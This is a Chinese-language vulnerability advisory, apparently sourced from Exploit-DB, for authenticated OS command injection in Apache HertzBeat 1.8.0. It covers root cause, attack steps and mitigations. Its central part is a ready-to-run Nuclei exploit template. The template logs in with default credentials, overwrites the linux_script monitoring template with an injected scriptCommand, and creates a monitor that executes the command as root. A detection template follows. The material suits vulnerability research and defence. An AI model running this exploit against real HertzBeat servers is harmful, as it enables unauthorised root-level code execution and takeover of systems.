[webapps] Apache HertzBeat 1.8.0 - Remote Code Execution

未分配CVE

Apache HertzBeat 1.8.0 中认证用户可通过监控模板的 scriptCommand 参数注入并执行任意系统命令。

Critical · CVSS 9.9

📋 漏洞基础信息

CVE未分配CVE
漏洞类型操作系统命令注入(CWE-78)
受影响版本Apache HertzBeat 1.8.0(默认 Docker 部署以 root 运行)
危害等级Critical · CVSS 9.9
发布日期2026-05-14
提交者Brett Gervasoni
来源Exploit-DB 原文 ↗

🔬 漏洞根因

ScriptCollectImpl.collect() 方法中,当 protocol 为 script 时,直接将用户可控的 scriptCommand 参数传递给 ProcessBuilder(bash -c "<command>"),未做任何消毒或过滤。同时 AppController 的 RISKY_STR_ARR 仅阻止 SnakeYAML gadget 字符串,不防御 shell 命令注入。

🎯 攻击场景

1. 前提:拥有标准用户或管理员账户(默认 operator/hertzbeat)。2. 使用 POST /api/account/auth/form 获取 JWT。3. 发送 PUT /api/apps/define/yml 覆盖 linux_script 模板,在 define 的 scriptCommand 字段注入恶意命令。4. 若已有该模板的监控实例,则 updateAppCollectJob() 在数秒内自动触发;若没有,通过 POST /api/monitor 创建监控实例立即触发。5. 监控触发器调用 ScriptCollectImpl.collect(),执行注入的命令。

💥 漏洞影响

攻击者可在 HertzBeat 服务器(默认 Docker 容器内以 root 运行)上执行任意操作系统命令,导致完全控制容器,可能横向移动或影响宿主机。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: hertzbeat-1-8-0-rce-exploit

info:
  name: Apache HertzBeat 1.8.0 RCE Exploit
  author: your-username
  severity: critical
  description: Authenticated RCE via script command injection in monitoring template.

variables:
  username: 'operator'
  password: 'hertzbeat'
  cmd: 'id'
  app: 'linux_script'
  targetIP: '127.0.0.1'

http:
  - raw:
      - |
        POST /api/account/auth/form HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"type":1,"identifier":"{{username}}","credential":"{{password}}"}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'token'
        part: body

    extractors:
      - type: json
        name: token
        json:
          - '.data.token'

  - raw:
      - |
        PUT /api/apps/define/yml HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"define":"app: linux_script\ncategory: os\nname:\n  en-US: Linux Script\n  zh-CN: Linux Script\nparams:\n  - field: host\n    name:\n      en-US: Host\n      zh-CN: Host\n    type: host\n    required: true\nmetrics:\n  - name: basic\n    i18n:\n      en-US: Basic\n      zh-CN: Basic\n    priority: 0\n    fields:\n      - field: result\n        type: 1\n        i18n:\n          en-US: Result\n          zh-CN: Result\n    protocol: script\n    script:\n      scriptTool: bash\n      charset: UTF-8\n      scriptCommand: {{cmd}}\n      parseType: multiRow\n"}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'code'
        part: body

  - raw:
      - |
        POST /api/monitor HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"monitor":{"name":"rce-test","app":"{{app}}","host":"{{targetIP}}","intervals":30,"status":1},"params":[{"field":"host","paramValue":"{{targetIP}}","type":1}]}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'code'
        part: body

🔬 深度技术分析

PoC 首先通过 POST /api/account/auth/form 以默认凭据 operator/hertzbeat 登录获取 Bearer token。然后 PUT /api/apps/define/yml 发送包含恶意 scriptCommand 的 YAML 定义(例如 id > /tmp/pwned)。接着 POST /api/monitor 创建 app 为 linux_script 的监控实例(若尚无活跃实例)。最终 ScriptCollectImpl.collect() 将 scriptCommand 传入 ProcessBuilder 执行,命令以容器内 root 权限运行。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: hertzbeat-1-8-0-rce-detection

info:
  name: Apache HertzBeat 1.8.0 RCE Detection
  author: your-username
  severity: high
  description: Detects Apache HertzBeat 1.8.0 which is vulnerable to script command injection RCE.

http:
  - method: GET
    path:
      - '{{BaseURL}}/api/version'
      - '{{BaseURL}}/'

    matchers-condition: or
    matchers:
      - type: word
        words:
          - 'HertzBeat'
        part: body

      - type: word
        words:
          - '1.8.0'
        part: body

    extractors:
      - type: regex
        part: body
        regex:
          - '(\d+\.\d+\.\d+)'

🛡️ 修复建议

截至报告,Apache 官方未分配 CVE 且未发布补丁,认为该行为符合安全模型(仅信任操作员)。临时缓解措施:严格限制用户账户,仅授予可信操作员;在网络层面限制对 /api/apps/define/yml 和 /api/monitor 端点的访问;审查并移除不可信的监控模板;使用容器安全策略(如 read-only root filesystem、非 root 用户)降低影响。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-20 08:09 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)